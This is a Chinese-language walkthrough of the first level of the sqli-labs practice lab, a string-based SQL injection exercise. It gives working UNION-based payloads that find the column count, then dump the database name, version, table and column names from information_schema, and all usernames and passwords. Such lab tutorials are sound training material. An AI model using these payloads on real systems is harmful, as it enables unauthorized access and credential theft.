sqli-labs第一关

sqli-labs第一关
首先判断是否存在注入
启动靶机之后，访问：http://ip地址/sqli-labs/Less-1/?
（查看sqli-labs源代码参考文章链接）
首先要知道这一关的代码是这样的：

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

先针对性的进行测试，首先，拿到一个可能存在SQL注入的网站的第一步就是判断是否存在注入，就是根据报错来看：
访问http://192.168.88.130/sqli-labs/Less-1/?id=1’，发现报错，常用的测试是否存在sql注入的方式（针对php）

1：数字型
id= x and 1=1    #页面返回正确
id= x and 1=2    #页面返回错误
执行逻辑：
select * from <表名> where id = x and 1=1
2：字符型
x' and '1'='1    #页面返回正确
x' and '1'='2    #页面返回错误

第一关的代码执行逻辑：
select * from <表名> where id = 'x' and '1'='1'

这里可以知道存在sql注入，这时候就要猜字段了
考虑到这一关是字符型注入，猜字段的方法一般使用 ?id=1' order by 3 --+，–+的作用是将代码后面的LIMIT 0,1";给注释掉：


3正确，4错误，所以这就意味当前查看的这个表有三个字段；确认回显位，回显位为2，3

联合查询爆出数据库名和用户名，需要让左边的执行为假，这样才会执行右边的语句

?id=1' and '1' = '2' union select 1,database(),user() --+

爆出版本号：

?id=1' and '1' = '2' union select 1,database(),version() --+

mysql版本高于5.0版本之后就存在information_schema数据库，这个库中包含了所有的表命、列名等信息；其中information_schema数据库中的tables表就存了所有表的名字，其中table_name对应表名，而table_schema对应这个表在哪个库（information_schema数据库中还有一个叫columns的表，记录了所有的表中列名的数据）。

爆出表名，因为回显限制的原因，所以通过mysql的“group_concat()”函数将所有的表名连接起来一起输出，为了显示更精确，加where进行数据库限制：

?id=1' and '1' = '2' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

猜测可能数据在"security"数据库中的users表里，接下来爆出字段名，这时就需要查询informa_schema数据库中的另一张表columns的信息了：

?id=1' and '1' = '2' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name = 'users' --+

得知列名之后就使用group_concat()进行查询具体信息了：

?id=1' and '1' = '2' union select 1,2,group_concat(id,username,password) from users --+

获得所有账号密码。